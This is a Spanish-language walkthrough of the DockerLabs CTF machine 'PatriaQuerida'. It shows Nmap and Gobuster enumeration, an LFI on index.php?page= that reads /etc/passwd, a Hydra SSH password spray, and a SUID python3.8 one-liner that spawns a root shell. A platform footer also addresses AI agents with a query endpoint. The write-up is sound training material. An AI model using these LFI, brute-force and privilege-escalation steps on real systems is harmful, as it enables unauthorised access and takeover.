> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/patriaquerida.md).

# PatriaQuerida

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena de explotacion empieza en el servidor web, donde un `index.php` deja una pista hacia un archivo oculto con una posible password. Despues, mediante fuzzing de parametros, se descubre un parametro vulnerable a LFI que permite leer `/etc/passwd` e identificar usuarios del sistema.

Con la password encontrada se consigue acceso por SSH como `pinguino`. Desde ahi aparece una nota con la password de `mario`, y la escalada final llega al encontrar un binario `python3.8` con permisos SUID.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVC -Pn -n -p- -T4 --min-rate 5000 172.17.0.2
```

![Nmap](/files/opqT0l7K8i8WGX1mjQyn)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 8.2p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.41 Ubuntu |

Nmap tambien detecta la pagina por defecto de Apache:

```
Apache2 Ubuntu Default Page: It works
```

***

## Enumeracion web

Al revisar el puerto 80 aparece la pagina por defecto de Apache. Se lanza Gobuster para descubrir rutas y extensiones:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/bHMqHVKa3mXtJNwOxZwQ)

Aparecen dos ficheros interesantes:

| Ruta          | Codigo | Comentario                    |
| ------------- | ------ | ----------------------------- |
| `/index.html` | 200    | Pagina por defecto            |
| `/index.php`  | 200    | Pagina dinamica con una pista |

Al acceder a `index.php` aparece un mensaje de bienvenida y una pista clara:

```
Bienvenido al servidor CTF Patriaquerida. No olvides revisar el archivo oculto en /var/www/html/.hidden_pass!
```

![index.php](/files/X6aIAy2wqP5cYqWCOrvZ)

El archivo oculto esta expuesto desde la raiz web:

```
http://172.17.0.2/.hidden_pass
```

![hidden\_pass](/files/V2Mi0UYCEI4d638ELfYg)

El contenido es:

```
balu
```

Por si mismo no basta, pero es una buena candidata a password.

***

## LFI

Se fuzzearon parametros sobre `index.php` con ffuf:

```bash
ffuf -u "http://172.17.0.2/index.php?FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -fs 110
```

![ffuf parametros](/files/w5e2eCcohhXmDg2d58x7)

El parametro encontrado es:

```
page
```

Probando lectura de archivos locales se confirma la vulnerabilidad:

```
http://172.17.0.2/index.php?page=/etc/passwd
```

![LFI passwd](/files/YVBoT9xbltyyajrDTYWI)

En `/etc/passwd` aparecen dos usuarios relevantes:

| Usuario    | Home             | Shell       |
| ---------- | ---------------- | ----------- |
| `pinguino` | `/home/pinguino` | `/bin/bash` |
| `mario`    | `/home/mario`    | `/bin/bash` |

***

## Acceso como pinguino

Con los usuarios encontrados y la password `balu`, se prueba SSH con Hydra:

```bash
hydra -L users.txt -p balu 172.17.0.2 ssh -I -t 64
```

![Hydra pinguino](/files/rhLk9D5Gickw4C2lkklN)

Hydra encuentra credenciales validas:

```
pinguino:balu
```

Se accede por SSH:

```bash
ssh pinguino@172.17.0.2
```

Dentro del home de `pinguino` aparece una nota:

```bash
ls -la
cat nota_mario.txt
```

![nota mario](/files/QKkoNO08nTHdTnyQ57sC)

La nota revela la password de `mario`:

```
invitaacachopo
```

Se cambia al usuario `mario`:

```bash
su mario
```

***

## Escalada a root

Como `mario`, se buscan binarios con permisos SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID](/files/o9R53qDltNmlkeH8nztV)

Entre los binarios aparece uno especialmente peligroso:

```
/usr/bin/python3.8
```

GTFOBins documenta que Python puede abusarse para obtener una shell cuando conserva privilegios elevados:

![GTFOBins python](/files/AWoRRABrvOKdwNkYLq07)

Se ejecuta el payload adaptado al binario SUID:

```bash
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
```

![Root](/files/hXs0xFxQU162jqtWgRjO)

Se confirma el usuario:

```bash
whoami
```

```
root
```

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH y HTTP.
2. Enumeracion web con Gobuster.
3. Lectura de `/index.php` para encontrar la pista hacia `/.hidden_pass`.
4. Obtencion de la password `balu`.
5. Fuzzing de parametros con ffuf hasta encontrar `page`.
6. Explotacion de LFI para leer `/etc/passwd`.
7. Identificacion de los usuarios `pinguino` y `mario`.
8. Acceso SSH como `pinguino` con `balu`.
9. Lectura de `nota_mario.txt` para obtener la password de `mario`.
10. Abuso de `/usr/bin/python3.8` con SUID para obtener shell como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/patriaquerida.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
